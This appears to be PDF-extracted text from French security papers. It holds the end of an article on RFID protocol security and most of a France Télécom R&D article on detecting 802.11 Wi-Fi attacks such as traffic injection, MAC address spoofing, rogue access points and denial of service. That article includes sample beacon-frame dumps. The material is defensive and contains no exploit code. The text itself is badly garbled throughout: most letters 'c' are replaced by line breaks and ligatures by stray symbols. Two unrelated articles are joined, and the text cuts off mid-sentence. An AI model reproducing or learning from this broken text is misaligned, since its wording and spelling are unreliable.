 généralement réservée aux appli
ations

né
essitant de l'authenti�
ation et non simplement de l'identi�
ation.

� Il engendre de nombreux 
al
uls du 
�té du le
teur 
ar 
e dernier doit tester toutes les 
lefs

présentes dans sa base de donnée pour déterminer l'identité du tag ave
 lequel il 
ommunique :

pour 
haque 
lef k, il doit 
al
uler Ek(c, r) jusqu'à trouver un résultat égal à la valeur reçue.

Cette appro
he n'est don
 possible qu'ave
 des systèmes RFID ne possédant que peu de tags.

Les travaux a
tuels 
her
hent don
 à 
on
evoir des algorithmes 
ryptographiques et des proto
oles

d'identi�
ation qui soient peu gourmands en ressour
es, a�n de pouvoir être utilisés dans des tags

sans en augmenter 
onsidérablement le 
oût. Sous 
es 
ontraintes, les proto
oles doivent rester aussi

sûrs

3

que possibles.

3

La notion de proto
ole sûr en RFID est aujourd'hui en
ore très informelle et fait l'objet de nombreux

travaux.
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4 Con
lusion

L'identi�
ation par radiofréquen
e est aujourd'hui utilisée dans de nombreux domaines. Outre

les aspe
ts te
hniques et é
onomiques, l'un des prin
ipaux freins à son déploiement 
on
erne sa

sé
urité. Cet arti
le s'est intéressé aux problèmes de sé
urité au niveau de la 
ommuni
ation entre

le le
teur et le tag. Bien sûr, la sé
urité entre le le
teur et le système de traitement des données ne

doit pas être négligée, mais 
et aspe
t n'est pas une spé
i�
ité de la RFID.

Nous avons vu que 
ertaines appli
ations ne sont pas dire
tement 
on
ernées par la sé
urité,

alors que 
elle-
i 
onstitue un élément fondamental pour 
ertaines autres, 
omme le 
ontr�le d'a

ès.

Le 
hoix d'un proto
ole RFID � et en 
onséquen
e d'un type de tag � dépend don
 fortement de

l'appli
ation visée. Toutefois, le problème du respe
t de la vie privée, en parti
ulier 
elui de la

traçabilité malveillante, reste entier quelque soit l'appli
ation 
onsidérée.

En�n, les questions de sé
urité ne doivent pas se borner aux proto
oles 
ryptographiques, mais


onsidérer la RFID dans son ensemble. Des travaux s'intéressent aujourd'hui aux 
ou
hes les plus

basses de la RFID pour tra
er des tags, pour réaliser des dénis de servi
e, ou en
ore pour exploiter

des side 
hannel. Ré
emment, un débat nouveau a vu le jour, il 
on
erne la possibilité d'inje
ter

des virus dans des systèmes RFID.
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Résumé Les réseaux lo
aux radioéle
triques sans-�l 802.11 sont sous les feux des proje
teurs

depuis de nombreuses années [1℄. Les attaques 802.11 a
tuellement réalisables peuvent avoir

des impa
ts sé
urité 
ritiques sur tout système d'information. Cet arti
le présente les mé-

thodes les plus pertinentes pour déte
ter et quali�er la majorité des attaques. En�n l'arti
le

expose notre retour d'expérien
e dans le développement et le déploiement d'une solution de

déte
tion d'intrusion 802.11 à Fran
e Télé
om R&D.

1 Introdu
tion

Les réseaux radioéle
triques 802.11, plus 
onnus sous l'appellation Wi-Fi

1

, font maintenant

partie de notre paysage informatique. La prolifération des te
hnologies 802.11 aussi bien au niveau

de l'infrastru
ture (points d'a

ès) qu'au niveau des postes terminaux (ordinateurs portables

2

) n'est

plus à démontrer ! De nombreuses entreprises utilisent 
es te
hnologies pour des raisons d'ergonomie

(fa
ilité d'a

ès a

rue), pour des raisons de 
oûts de déploiement (par rapport à un 
âblage) ou

en
ore par phénomène de mode. Malheureusement 
ette démo
ratisation n'est pas sans e�ets de

bord sur la sé
urité. . . Toute arrivée d'une te
hnologie radioéle
trique n'est pas anodine et doit être


onsidérée ave
 rigueur, en parti
ulier en milieu entreprise.

En e�et, depuis les premières publi
ations en 2000 à propos des faiblesses 
on
eptuelles des

premières révisions de la norme 802.11, de nombreuses attaques 
ritiques sont aisément réalisables

sans né
essiter de moyens te
hniques et �nan
iers importants [2,3,4,5℄. Depuis la rati�
ation des

nouveaux mé
anismes de sé
urité [6℄ et l'avènement du standard Wi-Fi Prote
ted A

ess [7,8℄, il est

possible de déployer des solutions d'a

ès 802.11 robustes. Ces solutions reposent sur des briques

d'authenti�
ation, de 
hi�rement, de dérivation et de distribution de 
lés robustes (si bien utilisées).

Malheureusement, une infrastru
ture d'a

ès robuste peut être mise à mal par la présen
e d'un

point d'a

ès ouvert (de manière volontaire ou par erreur) dire
tement inter-
onne
té au réseau

�laire de l'ar
hite
ture réseau, ou en
ore par du déni de servi
e sur la voie radioéle
trique. Les

outils 
lassiques de supervision réseau (journaux d'a
tivité sur les noeuds d'a

ès tels que les pare-

feux, routeurs, points d'a

ès) montrent i
i leurs limites 
ar il est extrêmement di�
ile pour un

opérateur d'infrastru
ture 802.11 (entreprise, hot spot

3

) d'avoir une vision 
laire des in
idents de

sé
urité sur la voie radioéle
trique (déni de servi
e, faux points d'a

ès. . .).

1

dénomination par la Wi-Fi Allian
e.

2

la politique Intel ave
 sa marque Centrino a fortement 
ontribué à 
et engouement.

3

zone d'a

ès publique à Internet.
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L'arrivée des te
hnologies de déte
tion d'intrusion dans les réseaux 802.11 est partie de 
e


onstat : 
omment observer 
es réseaux et s'assurer qu'ils sont 
onformes à un référentiel imposé

par la politique de sé
urité du site protégé ? Ils doivent par exemple s'assurer que les points d'a

ès

illégitimes

4

ne sont pas inter-
onne
tés aux réseaux �laires de l'entreprise.

C'est dans 
e sens que les te
hnologies de déte
tion d'intrusion dans les réseaux 802.11 ont un

spe
tre plus large que les te
hnologies de déte
tion d'intrusion dans les réseaux �laires. Ces logi
iels

doivent être 
apables à la fois de déte
ter des attaques (grâ
e essentiellement à des signatures) mais

ils doivent aussi quali�er les points d'a

ès environnants (lorsque 
ela est possible) pour évaluer

s'ils sont inter-
onne
tés ou non au réseau �laire de l'ar
hite
ture protégée. Les pro
édures réalisées

manuellement par des 
ampagnes d'audits réguliers sont alors (en partie) automatisées.

Les logi
iels de déte
tion d'intrusion dans les réseaux 802.11 peuvent représenter un intérêt


ertain à qui
onque souhaitant valider son niveau de risque par rapport aux te
hnologies radio-

éle
triques 802.11. En e�et, il ne faut pas oublier que la moindre faille peut ouvrir une brè
he

importante à 
ause de la di�usion radioéle
trique qui est intrinsèquement di�
ilement maîtrisable

(et don
 a

essible à des personnes � anonymes �).

Dans la première partie, l'arti
le dé
rira les prin
ipales attaques 802.11 ainsi que les te
hniques

de déte
tion asso
iées. Ces te
hniques ne sont pas toutes implantées dans les logi
iels de déte
tion

d'intrusion du 
ommer
e (les plus 
onnus étant AirDefense, AirEspa
e, AirMagnet et Aruba Net-

works). Cet arti
le peut don
 servir de base à qui
onque souhaitant développer une méthodologie

d'évaluation de 
es logi
iels.

Ensuite, l'arti
le présentera un retour d'expérien
e de déploiement d'une solution de déte
tion

d'intrusion 802.11 utilisée à Fran
e Télé
om R&D.

2 Avant propos

2.1 Pré-requis

Nous supposons dans 
et arti
le que le le
teur a des 
onnaissan
es dans le domaine des réseaux

802.11 [1℄. Si 
ela n'est pas le 
as, nous l'invitons à se fo
aliser sur les 
atégories de trames 802.11

ainsi que les di�érents en-têtes pour une meilleure 
ompréhension des paragraphes suivants. En e�et,

les te
hniques de déte
tion présentées dans 
ette proposition d'arti
le ne sont pas 
omplètement

expli
itées, 
ha
une d'entre-elles pouvant faire l'objet d'un arti
le 
omplet. . .

2.2 Sé
urité ?

La sé
urité informatique né
essite des e�orts importants en terme de politique de sé
urité et

de moyens pour pouvoir l'appliquer. Il est don
 né
essaire de 
on
evoir des ar
hite
tures réseau les

plus robustes possibles, en parti
ulier pour les réseaux 802.11.

La déte
tion d'intrusion 802.11 vient en 
omplément d'une ar
hite
ture déjà rendue robuste par

un déploiement adéquat et ré�é
hit. Elle ne peut pas résoudre toutes les problématiques et 
ertai-

nement pas lorsqu'au
un e�ort en sé
urité n'a été réalisé : elle fait partie d'une appro
he globale du

traitement des problématiques de sé
urité, et en parti
ulier sur les problématiques inhérentes aux

réseaux radioéle
triques.

4


eux qui ne sont pas re
onnus 
omme appartenant au site protégé.
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3 Ar
hite
tures de déte
tion d'intrusion 802.11

La déte
tion d'intrusion 802.11 opère essentiellement au niveau de la 
ou
he 2 du modèle de

l'OSI 
ar le but d'une telle appli
ation est de déte
ter des évènements sur la voie radioéle
trique

(signatures d'attaques, 
omportement de stations, présen
e de points d'a

ès illégitimes). Les at-

taques appli
atives qui transitent sur le réseau 802.11 ne font généralement pas partie des obje
tifs

de déte
tion de tels logi
iels.

Les deux prin
ipales raisons sont :

� 
es attaques qui seraient visibles sur la voie radioéle
trique le seraient aussi sur la voie �laire,

par 
onséquent, un logi
iel de déte
tion d'intrusion 
lassique bien positionné

5

peut être dévolu

à 
ette tâ
he ;

� le tra�
 peut être 
hi�ré au niveau de la voie radioéle
trique rendant inutile l'analyse de la


harge appli
ative.

En e�et, même si 
ela est te
hniquement réalisable, il ne s'agit pas de gre�er des fon
tionnalités

de déte
tion d'intrusion 
lassique pour déte
ter des évènements sé
urité sur les 
ou
hes supérieures

lorsque le tra�
 sur la voie radioéle
trique est en 
lair : 
e n'est évidemment pas le but de 
e type

d'outil.

A
tuellement, deux types d'ar
hite
ture pour la déte
tion d'intrusion 802.11 sont possibles :

� intégrée � la déte
tion d'intrusion est réalisée au niveau des équipements d'a

ès (le plus

souvent les points d'a

ès) ;

� sur-
ou
he � la déte
tion d'intrusion est réalisée sur des équipements dédiés (déploiement de

sondes spé
i�ques dédiées à l'é
oute de la voie radioéle
trique).

La première appro
he impose des 
ontraintes fortes sur les possibilités de déte
tion si l'on n'a
-


epte pas de perte de qualité de servi
e pour l'a

ès des 
lients sur les points d'a

ès. En e�et, il

est di�
ile en pratique pour un même point d'a

ès (qu'il soit de type � thin

6

a

ess point � ou

� fat

7

a

ess point �) d'opérer le servi
e de fourniture d'a

ès (qui impose l'utilisation d'un 
anal

radioéle
trique attribué) et d'e�e
tuer des fon
tions de déte
tion d'intrusion (qui par dé�nition im-

posent des sauts de 
anal

8

pour é
outer su

essivement 
ha
un d'entre eux). La deuxième appro
he,

bien que né
essitant une ar
hite
ture dédiée, est plus prometteuse en terme de fon
tionnalités de

déte
tion d'intrusion.

4 Panorama des te
hniques de déte
tion 802.11

Les prin
ipales 
atégories d'évènements à déte
ter sont :

1. la dé
ouverte des réseaux ;

2. l'inje
tion de tra�
 ;

3. le déni de servi
e ;

4. l'usurpation d'adresse Medium A

ess Control (MAC) ;

5. les attaques sur les mé
anismes d'authenti�
ation ;

5

typiquement derrière un nuage de points d'a

ès.

6

dans le sens ave
 peu de fon
tionnalités embarquées, l'essentiel des fon
tions étant déportées sur un

équipement 
entralisé souvent appelé � swit
h wi� �.

7

dans le sens ave
 un maximum de fon
tionnalités embarquées sur le point d'a

ès.

8

les bandes de fréquen
e attribuées aux te
hnologies 802.11 sont dé
oupées en 
anaux.
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6. les attaques sur la 
on�dentialité des trames de données ;

7. les points d'a

ès illégitimes ;

8. les points d'a

ès mal 
on�gurés ;

9. les faux points d'a

ès ;

10. le double atta
hement.

Un logi
iel de déte
tion d'intrusion a pour vo
ation de dé
ouvrir des évènements suspi
ieux. Les

te
hniques et logi
iels de déte
tion sont bien évidemment intrinsèquement liés aux problématiques

de faux positifs et faux négatifs. Le but de 
ha
un de 
es logi
iels est don
 de réduire au maximum


es deux paramètres en utilisant les méthodes de déte
tion les plus pertinentes.

Cette partie dé
rit des te
hniques de déte
tion qui permettent de repérer la majorité des attaques


onnues dans l'état de l'art. Bien entendu, tout n'est pas déte
table ! Il existe des zones d'ombres

di�
ilement 
ouvertes : dans tout développement d'une telle solution il faut trouver le juste milieu

entre 
apa
ités de déte
tion et 
ontraintes d'exploitation. . .

4.1 La dé
ouverte des réseaux

Elle ne 
onstitue une attaque à proprement parler 
ar les te
hniques utilisées sont parfaitement

valides au sens de la norme 802.11. Cependant, déte
ter des outils dédiés au WarDriving

9

tels que

NetStumbler [9℄ et Kismet [10℄, est une information intéressante

10

en soi.

Deux te
hniques de dé
ouverte des réseaux sont possibles :

� la dé
ouverte de réseaux passive � qui é
oute les trames émises sur la voie radioéle
trique

par les 
lients et points d'a

ès environnants ;

� la dé
ouverte de réseaux a
tive � qui re
her
he les points d'a

ès présents en leur posant une

question appropriée à laquelle ils répondront.

La déte
tion des outils de dé
ouverte de réseaux passive est en théorie impossible

11

au niveau

802.11 
ar au
une émission de trame ne devrait intervenir. Cependant, il est possible que 
ertains

drivers en mode � monitor

12

� 
ontinuent d'envoyer des paquets sur la voie radioéle
trique 
e qui

permet alors leur identi�
ation.

A 
ontrario, la déte
tion des outils de dé
ouverte de réseaux a
tive peut être réalisée par trois

moyens di�érents :

� l'é
oute de trames de type � probe request

13

� envoyées 
ontenant un nom de réseau E�e
tive

Servi
e Set IDenti�er (ESSID) vide

14

� il est possible de déte
ter dans 
e 
as des outils qui

ne sont pas for
ément dédiés au WarDriving ;

� les signatures volontairement envoyées par des outils deWarDriving tels que NetStumbler [22℄ ;

� un 
omportement de re
her
he a
tive de réseaux (
f. point numéro 1) sans jamais s'asso
ier

à l'un d'entre eux.

9

terme dérivé de W arDialing : te
hnique de dé
ouverte de réseaux 802.11.

10

si l'on émet l'hypothèse que la dé
ouverte des réseaux est une étape préalable à toute tentative d'intrusion.

11

il est toutefois envisageable qu'au niveau physique, toute antenne qui entraîne fatalement des perturba-

tions radioéle
triques (par indu
tion) soit alors déte
table.

12

mode spé
i�que qui permet d'é
outer la voie radioéle
trique, il doit être supporté par le 
hipset, �rmware

et driver pour pouvoir être utilisé.

13

trame de dé
ouverte de point d'a

ès.

14

le nom de réseau a une taille maximale de 32 o
tets, un nom de réseau vide est don
 sur une longueur

de 0 o
tets.
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4.2 Inje
tion de tra�


L'inje
tion de tra�
 est potentiellement très intéressante pour un attaquant, 
ar il a alors l'op-

portunité d'inje
ter des paquets dans des 
ommuni
ations existantes s'il s'agit de trames de données.

S'il est aussi 
apable d'inje
ter des trames de management et de 
ontr�le, il est alors possible de

� manipuler � la ma
hine à état 802.11, 
e qui entraîne alors des risques importants.

Déte
ter et résister aux attaques par inje
tion de tra�
 représente un enjeu majeur pour les

logi
iels de déte
tion d'intrusion 802.11. Ces dernières permettent de faire lever des alertes erronées

ou saturer leurs ressour
es sur des données maîtrisées par l'attaquant. . .

Certains 
hipsets, �rmwares et drivers supportent l'inje
tion de paquet en mode raw

15

, les plus

populaires étant les :

� 
hipset Atheros et driver madwifi [11℄ ;

� 
hipset Prism2/2.5/3 et driver hostap [12℄ ;

� 
hipset Prism54 et driver prism54.org [13℄.

Selon les équipements utilisés il est possible d'inje
ter des paquets 802.11 
omplètement spé
i�és

par la personne désirant inje
ter. Tous les 
hamps 802.11 sont alors maîtrisés 
e qui peut rendre


ertaines attaques très puissantes. Ce n'était pas le 
as il y a quelques années lorsque seuls les


hipsets Prism2/2.5/3 étaient disponibles 
ar 
ertains 
hamps

16

étaient gérés par le �rmware.

Des initiatives ont aussi vu le jour pour pouvoir 
onstruire et inje
ter des paquets 802.11 via

des développements en langage C :

� airja
k [14℄ ;

� libradiate [15℄ ;

� libwnet [16℄ ;

� libwlan [17℄.

Cependant, la plupart de 
es développements sont non maintenus et pas 
omplètement fon
-

tionnels. En pratique, il est souvent préférable de 
réer les paquets 802.11 � à la main � lors du

développement d'outils 802.11 en langage C ou d'utiliser un outil de 
réation et d'inje
tion de

paquets tel que s
apy [18℄ pour des tests 802.11 ne né
essitant pas une rapidité d'inje
tion.

Inje
tion Wired Equivalent Priva
y (WEP). Les attaques qui 
ompromettent le proto
ole

WEP sont légion. Il est par exemple possible d'inje
ter des paquets induisant des retours a�n de


réer du tra�
 
hi�ré ave
 WEP. Les outils de 
assage de se
ret

17

partagé WEP sont les premiers

à béné�
ier de 
ette propriété 
ar 
ela permet de 
asser rapidement 
e se
ret partagé même sur

un réseau non 
hargé. Ces attaques exploitent l'absen
e de te
hniques anti-rejeu dans le proto
ole

WEP, 
e qui implique pour l'attaquant qui inje
te des paquets WEP de réutiliser la même sortie de

l'algorithme Rivest Cipher 4 (RC4) et don
 le même Initialization Ve
tor (IV). D'autres attaques

exploitent l'Integrity Che
k Value (ICV) du proto
oleWEP qui est seulement un Cy
li
 Redundan
y

Che
k 32 (CRC32).

15

le mode raw est un mode spé
i�que permettant d'inje
ter des trames de niveau bas (dans notre 
as au

niveau 802.11).

16

parmi 
eux-
i le numéro de séquen
e et la fragmentation.

17

la norme spé
i�e une longueur de 40 bits, mais d'autres longueurs sont possibles (104 bits étant la plus


ourante).
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En pratique, il est très peu probable

18

d'avoir un grand nombre de paquets WEP 
ontenant le

même IV dans une fenêtre de temps relativement 
ourte

19

. Le paradoxe des anniversaires permet

d'estimer une probabilité de 50% de 
ollision pour environ 4800 paquets WEP... Un 
al
ul rapide

permet d'estimer à 30000 se
ondes le temps né
essaire pour atteindre 
ette probabilité.

Ce
i 
onstitue une signature de l'attaque (déte
tion d'o

urren
es d'IV pour une même sour
e

sur une fenêtre de temps). A noter qu'il a été possible en utilisant 
ette te
hnique de déte
ter des


artes ayant un générateur pseudo-aléatoire d'IV qui était biaisé.

Inje
tion Temporal Key Integrity Proto
ol (TKIP). Grâ
e aux mé
anismes d'intégrité et

d'anti-rejeu présents dans TKIP, il n'existe pas à l'heure a
tuelle de te
hnique 
onnue permettant

d'inje
ter e�
a
ement des paquets valides 
hi�rés en TKIP. En e�et, bien que le Message Integrity

Che
k (MIC) basé sur l'algorithme Mi
hael [19℄ soit notoirement 
onnu 
omme étant a

essible

20

selon [20℄, les mé
anismes de 
ontre-mesure implantés dans TKIP imposent une remise à zéro des


lés de session de 
hi�rement et d'intégrité si plusieurs tentatives d'inje
tion de paquets ont été

déte
tées

21

. Un e�et de bord est la possibilité de réaliser des attaques de déni de servi
e sur TKIP

si 
es 
ontre-mesures sont a
tivées au niveau des points d'a

ès et 
lients.

Dans 
e 
as pré
is, 
omme le MIC est 
hi�ré, il n'est pas possible de véri�er son intégrité au

niveau de la voie radioéle
trique. Il est don
 né
essaire dans 
e 
as de journaliser des statistiques

au niveau des points d'a

ès déployés sur les véri�
ations d'intégrité erronées.

Inje
tion Counter CBC-MAC Proto
ol (CCMP). Grâ
e aux mé
anismes d'intégrité et

d'anti-rejeu présent dans CCMP, il n'existe pas à l'heure a
tuelle de te
hnique 
onnue permet-

tant d'inje
ter des paquets valides 
hi�rés et intègres en CCMP.

Inje
tion en 
lair. Si l'inje
tion de tra�
 de données utilise une variation des numéros de séquen
e


ohérente, il est (extrêmement) di�
ile de déte
ter de l'inje
tion de tra�
 ave
 une analyse au niveau

802.11. Nous verrons dans la partie � usurpation d'adresse MAC � que des te
hniques annexes

peuvent donner des éléments de réponse.

Saut de Virtual Lo
al Area Network (VLAN). Certains points d'a

ès sont vulnérables à des

attaques 
lassiques de type saut de VLAN. Il est tout à fait possible de déte
ter 
e type d'attaque

lorsque les trames en 
lair au niveau radioéle
trique 
omportent des entêtes de type 802.1Q [21℄.

Dans 
e 
as pré
is, le logi
iel de déte
tion d'intrusion 802.11 devra être 
apable de re
onnaître et

dépiler les entêtes LLC et 802.1Q des trames de donnée 802.11.

4.3 Usurpation d'adresse MAC

Cette partie traite des te
hniques de déte
tion d'usurpation d'adresse MAC au niveau de trames

de données et de management. Les trames de 
ontr�le ne rentrent pas dans le 
hamp des te
hniques


i-dessous (sauf pour la te
hnique d'analyse de qualité de signal reçue).

18

sauf 
as parti
ulier, typiquement une 
arte 
liente 802.11 envoyant le premier paquet WEP ave
 un IV

nul à 
haque remise à zéro de la 
arte.

19

typiquement la minute.

20

for
e réelle de 29 bits.

21

véri�
ateur d'intégrité invalide.
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Toutes les te
hniques dé
rites 
i-dessous sont sujettes à des faux positifs. Il est don
 né
essaire

d'implanter des te
hniques de 
orrélation entre plusieurs 
atégories d'usurpation d'adresse MAC

ave
 des systèmes de poids selon la �abilité de 
ha
une de 
es te
hniques.

Ces te
hniques imposent que les deux équipements (légitime et illégitime) 
ommuniquent sur

la voie radioéle
trique à un moment donné (et si possible en même temps) 
ar elles résident sur


omparaisons au niveau des trames 802.11 ou de la puissan
e de signal reçue.

Véri�
ation de la 
ohéren
e des numéros de séquen
e. Cette te
hnique fon
tionne sur toutes

les trames de signalisation et de donnée. Ces trames 
ontiennent un 
hamp sur 12 bits appelé le

Sequen
e Number. Ce numéro de séquen
e est utilisé lors du ré-assemblage des paquets fragmentés.

Il est di�
ilement

22

modi�able par un attaquant s'il utilise un driver en mode � master

23

�. Par


ontre il est possible d'inje
ter du tra�
 (typiquement en mode � monitor �) ave
 des numéros

de séquen
e préalablement 
hoisis, mais il est di�
ile d'être parfaitement en adéquation ave
 les

numéros de séquen
e émis par les points d'a

ès légitimes. En e�et, l'attaquant ne peut empê-


her l'équipement légitime d'envoyer des paquets qui seront alors en dis
ordan
e au niveau de la


ohéren
e des numéros de séquen
e.

No Sour
e Destination Proto
ol Info

1 Cis
o_3e:a0:5a Broad
ast Bea
on frame, SSID: "FTRDWPA"

IEEE 802.11

Type/Subtype: Bea
on frame (8)

Frame Control: 0x0080 (Normal)

Duration: 0

Destination address: Broad
ast (ff:ff:ff:ff:ff:ff)

Sour
e address: Cis
o_3e:a0:5a (00:0d:28:3e:a0:5a)

BSS Id: Cis
o_3e:a0:5a (00:0d:28:3e:a0:5a)

Fragment number: 0

Sequen
e number: 5 <-- i
i

No Sour
e Destination Proto
ol Info

2 Cis
o_3e:a0:5a Broad
ast Bea
on frame, SSID: "FTRDWPA"

IEEE 802.11

Type/Subtype: Bea
on frame (8)

Frame Control: 0x0080 (Normal)

Duration: 0

Destination address: Broad
ast (ff:ff:ff:ff:ff:ff)

Sour
e address: Cis
o_3e:a0:5a (00:0d:28:3e:a0:5a)

BSS Id: Cis
o_3e:a0:5a (00:0d:28:3e:a0:5a)

Fragment number: 0

Sequen
e number: 1206 <-- i
i

22

implique des modi�
ations au niveau du driver dans l'hypothèse où le �rmware a

epte l'inje
tion de 
es


hamps.

23


e mode o�re la fon
tionnalité de point d'a

ès.
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L'exemple 
i-dessus montre un dé-séquen
ement des numéros de séquen
e pour deux trames

su

essives et rappro
hées dans le temps. Il s'agit dans 
e 
as-là de deux trames de � bea
on �. Il

est don
 possible grâ
e à une analyse des di�éren
es sur les numéros de séquen
e de déte
ter une

usurpation d'adresse MAC [23℄.

Véri�
ation de la 
ohéren
e des étiquettes temporelles. Cette te
hnique n'est utilisable que

sur les trames de signalisation de type � bea
on

24

� et � probe response

25

� qui sont issues des points

d'a

ès ou des stations en mode Ad-Ho


26

. Ces trames 
ontiennent un 
hamp sur 64 bits appelé le

Basi
 Servi
e Set (BSS) Timestamp. Ce 
hamp sert à la syn
hronisation des stations atta
hées au

point d'a

ès. De la même manière que pour le numéro de séquen
e, les étiquettes temporelles sont

di�
ilement modi�ables par un attaquant s'il utilise un driver en mode � master �. Par 
ontre il

est possible d'inje
ter du tra�
 (typiquement en mode � monitor �) ave
 des étiquettes temporelles

préalablement 
hoisies, mais il est di�
ile d'être parfaitement en adéquation ave
 les étiquettes

temporelles émises par les points d'a

ès légitimes. En e�et, l'attaquant ne peut empê
her l'équi-

pement légitime d'envoyer des paquets qui seront alors en dis
ordan
e au niveau de la 
ohéren
e

des étiquettes temporelles.

No Sour
e Destination Proto
ol Info

1 Cis
o_3e:a0:5a Broad
ast Bea
on frame, SSID: "FTRDWPA"

IEEE 802.11 wireless LAN management frame

Fixed parameters (12 bytes)

Timestamp: 0x000002F91447819C <-- i
i

Bea
on Interval: 0.102400 [Se
onds℄

No Sour
e Destination Proto
ol Info

2 Cis
o_3e:a0:5a Broad
ast Bea
on frame, SSID: "FTRDWPA"

IEEE 802.11 wireless LAN management frame

Fixed parameters (12 bytes)

Timestamp: 0x00000000000962EA <-- i
i

Bea
on Interval: 0.102400 [Se
onds℄

L'exemple 
i-dessus montre un dé-séquen
ement des étiquettes temporelles pour deux trames

su

essives et rappro
hées dans le temps. Il s'agit dans 
e 
as-là de deux trames de � bea
on �. En

réalisant la 
onversion en unités de temps, nous avons aussi une information pertinente (2f91447819



orrespond à environ 908 heures et 962ea 
orrespond à environ 0,6 se
ondes) qui peut nous aider à

trouver des points d'a

ès ré
emment démarrés

27

(en parti
ulier des points d'a

ès via des 
artes

PCMCIA sur des ordinateurs portables). Il est don
 possible grâ
e à une analyse des di�éren
es sur

les étiquettes temporelles de déte
ter une usurpation d'adresse MAC [26℄.

24

trame de balise émise par les points d'a

ès pour signi�er leur présen
e et 
on�guration, elles sont

généralement émises régulièrement ave
 un intervalle appelé � bea
on interval �.

25

trame de réponse aux trames de dé
ouverte de réseaux � probe request �.

26

aussi appelé Independent Basi
 Servi
e Set (IBSS)

27

bien entendu des modi�
ations au niveau des drivers permettent de démarrer ave
 un étiquette temporelle

élevée.
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Véri�
ation de la 
ohéren
e des paramètres optionnels. Les paramètres optionnels

28

sont

présents dans la plupart des trames de signalisation et en parti
ulier dans les trames de type

� bea
on �, � probe request � ou � probe response �.

Ces paramètres optionnels permettent d'obtenir des informations pertinentes sur les 
apa
ités

en terme de débit, de support des mé
anismes de sé
urité 
omme les Wi-Fi Prote
ted A

ess

Information Element (WPA IE) et Robust Se
urity Network Information Element (RSN IE) ou

autres. . . En mode � master � 
ertains de 
es 
hamps dépendent à la fois des 
apa
ités

29

intrinsèques

de la 
arte, du �rmware et du driver, mais aussi de la 
on�guration

30

.

No Sour
e Destination Proto
ol Info

1 Cis
o_3e:a0:5a Broad
ast Bea
on frame, SSID: "FTRDWPA"

Tagged parameters (24 bytes)

SSID parameter set: "FTRDWPA"

Supported Rates: 1.0(B) 2.0(B) 5.5 11.0

DS Parameter set: Current Channel: 1

(TIM) Traffi
 Indi
ation Map: DTIM 0 of 1 bitmap empty

No Sour
e Destination Proto
ol Info

2 Cis
o_3e:a0:5a Broad
ast Bea
on frame, SSID: "FTRDWPA"

Tagged parameters (88 bytes)

SSID parameter set: "FTRDWPA"

Supported Rates: 1.0(B) 2.0(B) 5.5(B) 11.0(B) <-- i
i

DS Parameter set: Current Channel: 1

(TIM) Traffi
 Indi
ation Map: DTIM 0 of 2 bitmap empty

Vendor Spe
ifi
: WPA <-- i
i

Vendor Spe
ifi
: Aironet <-- i
i

L'exemple 
i-dessus montre des in
ohéren
es sur les paramètres optionnels pour deux trames

su

essives et rappro
hées dans le temps. Il s'agit dans 
e 
as-là de deux trames de � bea
on � (la

première annon
e des 
apa
ités 
lassiques et la deuxième annon
e des 
apa
ités WPA et Aironet).

En 
hoisissant judi
ieusement les paramètres optionnels à véri�er, il est don
 possible de déte
ter

une usurpation d'adresse MAC [26℄.

Véri�
ation de la 
ohéren
e de la qualité de signal reçue. Le Re
eived Signal Strength

Index (RSSI) est indi
ateur de la qualité de signal reçue par la 
arte 802.11 en mode � monitor �.

Bien qu'il soit non trivial

31

d'estimer ave
 pré
ision la distan
e à laquelle se situe l'émetteur, il est

tout à fait possible de 
omparer les variations de RSSI pour des trames émises par un prétendu

même émetteur (selon son adresse MAC) et d'en déduire alors des in
ohéren
es.

Par 
onséquent, une analyse des di�éren
es sur les RSSI permet de déte
ter une usurpation

d'adresse MAC. Ave
 un 
ependant un bémol sur la sensibilité aux faux positifs de 
ette te
hnique.

28

dénommés � tagged parameters � dans la norme 802.11.

29

typiquement les débits supportés.

30

typiquement le nom de réseau.

31

de nombreux paramètres entrent en ligne de 
ompte tels que la puissan
e d'émission de la 
arte, les

obsta
les et leurs atténuations respe
tives, les traje
toires multiples, les interféren
es. . .
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No Sour
e Destination Proto
ol Info

1 Cis
o_3e:a0:5a Broad
ast Bea
on frame, SSID: "FTRDWPA"

Prism Monitoring Header

<snip>

RSSI: 0xfb <-- i
i

<snip>

No Sour
e Destination Proto
ol Info

2 Cis
o_3e:a0:5a Broad
ast Bea
on frame, SSID: "FTRDWPA"

Prism Monitoring Header

<snip>

RSSI: 0xbb <-- i
i

<snip>

L'exemple 
i-dessus montre une di�éren
e importante des RSSI pour deux trames su

essives

et rappro
hées dans le temps. Il s'agit dans 
e 
as-là de deux trames de � bea
on �. Même si une

variation de qualité de signal reçue peut être très importante du fait du 
omportement di�
ilement

prévisible de la voie radioéle
trique, 
ela 
onstitue quand même une information en soi. En e�et,

grâ
e à 
e RSSI, il est possible d'implanter des te
hniques basiques à seuil, ou de manière plus

élaborée d'appliquer un modèle de propagation et de résolution en fon
tion du site protégé. Toute

analyse sur les di�éren
es de RSSI peut don
 déte
ter et géo-lo
aliser un évènement sur la voie

radio pour peu qu'il soit 
apté par plusieurs sondes.

Note 1. Pour utiliser 
ette te
hnique il est primordial de 
onnaître 
e qui est réellement remonté

par le 
hipset et le �rmware. En e�et, des opérations de 
onversions sur les informations de signal

(en dB par exemple) peuvent être e�e
tuées de manière 
omplètement di�érentes selon les interfa
es

radioéle
triques utilisées.

Véri�
ation de la 
ohéren
e sur les 
ou
hes supérieures. Sur les trames de données en


lair, il est possible de réaliser une prise d'empreinte passive des systèmes d'exploitation grâ
e

aux 
ara
téristiques de la pile TCP/IP de l'équipement [25℄. Si pour une même adresse MAC


�té radioéle
trique dans une fenêtre de temps dé�nie deux systèmes d'exploitation di�érents sont

présents alors nous pouvons en déduire une usurpation d'adresse MAC.

Corrélation des déte
tions. Les te
hniques de déte
tion présentées 
i-dessus sont toutes sujettes

aux faux positifs. A�n de les limiter, il est né
essaire d'implanter une 
orrélation à la volée sur les

alertes émises par 
es te
hniques. Cette 
orrélation apporte alors un niveau de �abilité bien plus

élevé grâ
e à un système de poids. Il permet en e�et d'a�e
ter une sévérité plus élevée lorsque

plusieurs te
hniques de déte
tion d'usurpation d'adresse MAC ont été dé
len
hées : 
orrélation en

une seule alerte de type � usurpation d'adresse MAC � d'une sévérité plus élevée.

4.4 Déni de servi
e

Les attaques dé
rites dans le paragraphe présent sont déte
tables en utilisant des systèmes à

seuil ou par répartition statistiques par type de trame sur un réseau donné.
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Un autre paramètre peut être pris en 
ompte, la destination de la trame induisant du déni de

servi
e. En e�et, si l'adresse MAC destination est l'adresse de broad
ast alors nous avons déte
té

un 
omportement non 
onforme ave
 �abilité

32

. Il faut don
 distinguer 
